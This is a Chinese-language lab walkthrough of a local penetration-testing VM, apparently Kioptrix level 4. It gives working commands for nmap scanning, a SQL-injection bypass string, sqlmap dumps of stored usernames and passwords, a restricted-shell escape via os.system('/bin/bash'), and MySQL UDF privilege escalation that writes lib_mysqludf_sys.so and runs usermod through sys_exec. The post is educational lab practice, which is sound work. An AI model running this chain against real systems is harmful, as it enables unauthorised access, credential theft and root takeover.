赞
踩
下载链接:
新建虚拟机选择自定义
硬件兼容选择 12.x
网络情况因人而异
一直下一步到这里
选择现有虚拟磁盘
选择刚刚下载的靶场磁盘,然后一直下一步到完成就好了
打开后会出现这个界面
一直等待就好,直到出现
就代表靶场已经成功启动
获取靶场ip:
nmap -sn 192.168.1.1/24 --min-rate 2000
(-sn:Ping扫描-禁用端口扫描,存活探测
--min-rate:最低扫描速率)
进行靶机的端口扫描并且保存到kvm4文件夹下,命名为port:
(-p-:对所有端口进行探测
-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标
-oA:输出到指定位置
-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。
)
nmap -p- 192.168.1.5 --min-rate 2000 -r -PN -oA kvm4/port
对端口指纹进行对应探测:
(-p:对指定的端口进行探测
-sV:版本信息
-sC默认脚本扫描
-O:探测操作系统信息
--version-all:尽可能多的探测信息
如果使用--min-rate参数可能会遗漏数据)
nmap 192.168.1.5 -p 22,80,139,445 --version-all -sC -sV -O -oA kvm4/server
可以对该靶场进行枚举,看有没有有用信息
linux枚举工具:enum4linux-ng 安装命令:
sudo apt update
sudo apt install enum4linux-ng
enum4linux-ng 192.168.1.5
枚举到可能有用的信息
版本
用户名
(这些数据有没有作用暂时还不知道,现在只是一个简单的信息搜集)
去访问该靶场的80端口,看有没有什么有用信息
尝试万能密码
admin' or '1' = '1
发现好像不太行
可以用sqlmap进行注入试试
先运行bp进行抓包,并把数据保存到sqlmap目录下的1.txt
运行sqlmap,输入
python sqlmap.py -r 1.txt --batch --dbs
成功拿到数据库
python sqlmap.py -r 1.txt --batch -D members --tables
python sqlmap.py -r 1.txt --batch -D members -T members --columns
python sqlmap.py -r 1.txt --batch -D members -T members -C password,username --dump
成功拿到账号密码,那我们登录试试
然而发现并没有什么有用的东西
但是该靶场开放22端口,那我们ssh登陆试试(如果ssh登录出现报错问题,那么可以看看这篇文章,讲解的很详细最详细解决Unable to negotiate with XXX port :no matching host key type found.Their offer: ssh-rsa,ssh-dss_unable to negotiate with 10.4.4.5 port 33281: no m-CSDN博客https://blog.csdn.net/risingsmallsnake/article/details/134608161)
登录成功,但是是受限制的shell,只有这几个指令
(关于linux权限越狱感兴趣的可以看看这篇文章
根据文章中提到,因为命令受限制,所以我们需要枚举一下哪些命令和符号可以使用
既然echo可以使用,那么我们可以尝试输入
echo os.system('/bin/bash')
(os.system():是一个用于执行操作系统命令的函数。你提供的命令将在该函数中执行,这个代码将尝试执行/bin/bash文件启动一个新的 Bash shell
/bin/bash 文件是 Bash shell 的可执行文件,位于 Unix 系统中的 /bin 目录下,Bash 提供了一种与操作系统进行交互的方式,也就是shell)
(在这篇文章中也有各种越狱方式,感兴趣的可以去看看Spawning a TTY Shell-逃逸linux各种shell来执行命令 - lsh4ck's Blog (lshack.cn))
OK! 越狱成功!
之前我们利用sql注入的方式获取到了账号密码,那么现在我们可以尝试一下使用 mysql udf 进行提权操作(UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数)
但是进行udf提权操作之前,我们需要检查一下mysql是否是以root权限运行
ls -la /usr/lib/lib_mysqludf_sys.so
OK!权限为root
连接到数据库
mysql -u root
查看是否可以写入
show global variables like '%secure%';
secure_file_priv的值为null ,表示限制mysql不允许导入或导出
当值为/tmp/时 ,表示限制mysql的导入或导出只能发生在/tmp目录下
当secure_file_priv的值没有具体值时,表示不对导入或导出做限制
查看版本信息
show variables like 'version_compile_%';
当前版本为32
准备对应版本的udf库,在kali目录中有
(/usr/share/metasploit-framework/data/exploits/mysql/)
sqlmap目录下也有(sqlmap\data\udf\mysql\linux)
(sqlmap目录下的.so文件是异或过后的,需要用到 sqlmap\extra\cloak 目录下的cloak.py脚本进行解密操作:
python cloak.py -d -i <.so文件的目录> -o <需要输出到的位置及名字>
)
查找自己对应的so文件(该靶场下应为:lib_mysqludf_sys_32.so)
(lib_mysqludf_sys.so 是一个 MySQL 用户自定义函数(UDF)库,提供了一些系统级功能,例如执行系统命令、访问文件系统等)
将该文件复制到本机,并且在本机打开mysql数据库,输入
select hex(load_file('lib_mysqludf_sys.so文件存在的位置')) into outfile '需要保存到的位置/udf.txt';
如果使用该指令并没有输出十六进制转换后的txt文档,可以尝试使用下面的python代码
(随便创建一个txt文件,将下面的代码复制到txt文件中,然后把后缀改为.py,直接cmd运行即可)
python脚本代码:
- import binascii
-
-
-
- file_path = r'修改为你的so文件的路径'
-
- output_file = r'修改为你想要输出的位置'
-
-
-
- # 读取库文件内容
-
- with open(file_path, 'rb') as f:
-
- file_content = f.read()
-
-
-
- # 将内容转换为十六进制表示
-
- hex_content = binascii.hexlify(file_content).decode('utf-8')
-
-
-
- # 写入到输出文件
-
- with open(output_file, 'w') as f:
-
- f.write(hex_content)
打开靶机shell,进入mysql将十六进制的 lib_mysqludf_sys_32.so 文件写入到/usr/lib目录下并命名为mysqludf.so
select unhex('你的十六进制文本') into dumpfile '/usr/lib/mysqludf.so';
选择数据库
use members;
创建名为sys_eval函数
create function sys_eval returns string soname "mysqludf.so";
调用该函数
select sys_eval('whoami');
利用成功!
因为mysql具有root权限,所以可以用该函数直接给john管理员权限
select sys_exec('usermod -a -G admin john');
(用于将用户 "john" 添加到 "admin" 用户组中。这个查询语句,MySQL将尝试在其所在的操作系统上执行相应的命令,将用户 "john" 添加到 "admin" 用户组中。
-a 参数:这是 usermod 命令的选项之一,表示 "追加(append)"。当使用 -a 参数时,usermod 命令将在
现有的用户组列表中追加新的用户组,而不是替换现有的用户组列表
-G 参数:这也是 usermod 命令的选项之一,表示 "用户组(groups)"。当使用 -G 参数时,usermod 命令指定要修改的用户所属的用户组列表。你可以在 -G 参数后面提供要分配给用户的用户组列表,多个用户组之间用逗号分隔
-a 参数表示要将用户 "john" 添加到现有的用户组列表中,而不是替换。
-G admin 参数表示要将 "john" 添加到 "admin" 用户组中。如果 "john" 已经属于其他用户组,那么 "admin" 用户组将被追加到现有的用户组列表中。
)
ctrl+c退出数据库
然后我们直接
sudo su
输入密码后提权成功!!
该靶场中已经存在lib_mysqludf_sys.so(与我们之前写入的mysqludf.so文件内容相同),我们大可以直接省去之前步骤中的 找文件、十六进制文件、写文件步骤,直接就可以创建函数(create function sys_eval returns string soname "lib_mysqludf_sys.so";),然后进行同样的提权操作,并且sqlmap也提供了shell功能(--os-shell),但是我们练习靶场应该是学习而不是一昧的通关,该靶场应该直接可以用msf或者中间件的漏洞直接就能拿到root,但是这样做我感觉靶场就失去他所存在的意义了。
关于mysql udf提权的详细情况,可以去看看这篇文章:linux环境下的MySQL UDF提权 - 知乎 (zhihu.com)https://zhuanlan.zhihu.com/p/675466196
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。